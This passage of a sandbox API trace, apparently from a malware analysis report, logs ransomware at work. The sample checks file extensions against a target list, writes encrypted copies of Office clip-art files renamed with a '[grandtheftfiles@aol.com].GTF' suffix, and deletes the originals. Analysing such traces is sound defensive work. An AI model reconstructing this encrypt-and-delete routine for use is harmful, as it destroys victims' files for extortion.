	[0155.412] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.412] SetEndOfFile (hFile=0x488) returned 1
	[0155.417] CloseHandle (hObject=0x488) returned 1
	[0155.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0155.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1
	[0155.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.418] lstrlenW (lpString=".doc") returned 4
	[0155.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.418] lstrlenW (lpString=".docx") returned 5
	[0155.418] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0155.418] lstrlenW (lpString=".pdf") returned 4
	[0155.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.418] lstrlenW (lpString=".xls") returned 4
	[0155.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.418] lstrlenW (lpString=".xlsx") returned 5
	[0155.418] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0155.419] lstrlenW (lpString=".ppt") returned 4
	[0155.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.419] lstrlenW (lpString=".zip") returned 4
	[0155.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.419] lstrlenW (lpString=".rar") returned 4
	[0155.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString=".bz2") returned 4
	[0155.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString=".7z") returned 3
	[0155.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.419] lstrlenW (lpString=".dbf") returned 4
	[0155.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.419] lstrlenW (lpString=".1cd") returned 4
	[0155.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.419] lstrlenW (lpString=".jpg") returned 4
	[0155.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.419] lstrlenW (lpString=".doc") returned 4
	[0155.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString=".docx") returned 5
	[0155.419] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0155.419] lstrlenW (lpString=".pdf") returned 4
	[0155.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString=".xls") returned 4
	[0155.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.419] lstrlenW (lpString=".xlsx") returned 5
	[0155.419] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0155.419] lstrlenW (lpString=".ppt") returned 4
	[0155.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.419] lstrlenW (lpString=".zip") returned 4
	[0155.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.420] lstrlenW (lpString=".rar") returned 4
	[0155.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.420] lstrlenW (lpString=".bz2") returned 4
	[0155.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.420] lstrlenW (lpString=".7z") returned 3
	[0155.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.420] lstrlenW (lpString=".dbf") returned 4
	[0155.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.420] lstrlenW (lpString=".1cd") returned 4
	[0155.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0155.420] lstrlenW (lpString=".jpg") returned 4
	[0155.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.420] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.420] lstrlenW (lpString="J0090089.WMF") returned 12
	[0155.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.420] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=15760) returned 1
	[0155.421] CloseHandle (hObject=0x488) returned 1
	[0155.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220
	[0155.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.421] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.421] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0155.422] GetLastError () returned 0x0
	[0155.422] ReadFile (in: hFile=0x488, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x3d90, lpOverlapped=0x0) returned 1
	[0155.724] WriteFile (in: hFile=0x490, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3da0, lpOverlapped=0x0) returned 1
	[0155.725] ReadFile (in: hFile=0x488, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.725] WriteFile (in: hFile=0x490, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.725] SetEndOfFile (hFile=0x490) returned 1
	[0155.725] CloseHandle (hObject=0x490) returned 1
	[0155.726] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.726] SetEndOfFile (hFile=0x488) returned 1
	[0155.729] CloseHandle (hObject=0x488) returned 1
	[0155.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1
	[0156.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.027] lstrlenW (lpString=".doc") returned 4
	[0156.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.027] lstrlenW (lpString=".docx") returned 5
	[0156.027] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0156.027] lstrlenW (lpString=".pdf") returned 4
	[0156.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString=".xls") returned 4
	[0156.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.028] lstrlenW (lpString=".xlsx") returned 5
	[0156.028] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0156.028] lstrlenW (lpString=".ppt") returned 4
	[0156.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.028] lstrlenW (lpString=".zip") returned 4
	[0156.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.028] lstrlenW (lpString=".rar") returned 4
	[0156.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString=".bz2") returned 4
	[0156.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString=".7z") returned 3
	[0156.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.028] lstrlenW (lpString=".dbf") returned 4
	[0156.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.028] lstrlenW (lpString=".1cd") returned 4
	[0156.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.028] lstrlenW (lpString=".jpg") returned 4
	[0156.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.028] lstrlenW (lpString=".doc") returned 4
	[0156.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString=".docx") returned 5
	[0156.028] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0156.028] lstrlenW (lpString=".pdf") returned 4
	[0156.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.028] lstrlenW (lpString=".xls") returned 4
	[0156.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.028] lstrlenW (lpString=".xlsx") returned 5
	[0156.029] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0156.029] lstrlenW (lpString=".ppt") returned 4
	[0156.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.029] lstrlenW (lpString=".zip") returned 4
	[0156.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.029] lstrlenW (lpString=".rar") returned 4
	[0156.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.029] lstrlenW (lpString=".bz2") returned 4
	[0156.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.029] lstrlenW (lpString=".7z") returned 3
	[0156.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.029] lstrlenW (lpString=".dbf") returned 4
	[0156.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.029] lstrlenW (lpString=".1cd") returned 4
	[0156.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68
	[0156.029] lstrlenW (lpString=".jpg") returned 4
	[0156.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.029] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.029] lstrlenW (lpString="J0099145.JPG") returned 12
	[0156.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.031] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=24759) returned 1
	[0156.031] CloseHandle (hObject=0x4a4) returned 1
	[0156.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220
	[0156.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.032] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.032] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0156.032] GetLastError () returned 0x0
	[0156.032] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x60b7, lpOverlapped=0x0) returned 1
	[0156.036] WriteFile (in: hFile=0x498, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x60c0, lpOverlapped=0x0) returned 1
	[0156.037] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.037] WriteFile (in: hFile=0x498, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.037] SetEndOfFile (hFile=0x498) returned 1
	[0156.037] CloseHandle (hObject=0x498) returned 1
	[0156.038] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.038] SetEndOfFile (hFile=0x4a4) returned 1
	[0156.041] CloseHandle (hObject=0x4a4) returned 1
	[0156.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1
	[0156.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.042] lstrlenW (lpString=".doc") returned 4
	[0156.042] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.042] lstrlenW (lpString=".docx") returned 5
	[0156.042] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0156.042] lstrlenW (lpString=".pdf") returned 4
	[0156.042] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.042] lstrlenW (lpString=".xls") returned 4
	[0156.042] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.042] lstrlenW (lpString=".xlsx") returned 5
	[0156.042] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0156.042] lstrlenW (lpString=".ppt") returned 4
	[0156.042] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.042] lstrlenW (lpString=".zip") returned 4
	[0156.042] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.042] lstrlenW (lpString=".rar") returned 4
	[0156.042] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.042] lstrlenW (lpString=".bz2") returned 4
	[0156.042] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.042] lstrlenW (lpString=".7z") returned 3
	[0156.042] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.042] lstrlenW (lpString=".dbf") returned 4
	[0156.042] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.042] lstrlenW (lpString=".1cd") returned 4
	[0156.042] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.042] lstrlenW (lpString=".jpg") returned 4
	[0156.042] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.042] lstrlenW (lpString=".doc") returned 4
	[0156.042] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.043] lstrlenW (lpString=".docx") returned 5
	[0156.043] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0156.043] lstrlenW (lpString=".pdf") returned 4
	[0156.043] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.043] lstrlenW (lpString=".xls") returned 4
	[0156.043] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.043] lstrlenW (lpString=".xlsx") returned 5
	[0156.043] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0156.043] lstrlenW (lpString=".ppt") returned 4
	[0156.043] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.043] lstrlenW (lpString=".zip") returned 4
	[0156.043] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.043] lstrlenW (lpString=".rar") returned 4
	[0156.043] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.043] lstrlenW (lpString=".bz2") returned 4
	[0156.043] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.043] lstrlenW (lpString=".7z") returned 3
	[0156.043] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.043] lstrlenW (lpString=".dbf") returned 4
	[0156.043] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.043] lstrlenW (lpString=".1cd") returned 4
	[0156.043] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68
	[0156.043] lstrlenW (lpString=".jpg") returned 4
	[0156.043] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.043] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0156.043] lstrlenW (lpString="J0099146.WMF") returned 12
	[0156.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.044] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=16596) returned 1
	[0156.044] CloseHandle (hObject=0x4a4) returned 1
	[0156.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220
	[0156.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0156.044] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.045] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0156.045] GetLastError () returned 0x0
	[0156.045] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x40d4, lpOverlapped=0x0) returned 1
	[0156.047] WriteFile (in: hFile=0x498, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x40e0, lpOverlapped=0x0) returned 1
	[0156.049] ReadFile (in: hFile=0x4a4, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.049] WriteFile (in: hFile=0x498, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.049] SetEndOfFile (hFile=0x498) returned 1
	[0156.049] CloseHandle (hObject=0x498) returned 1
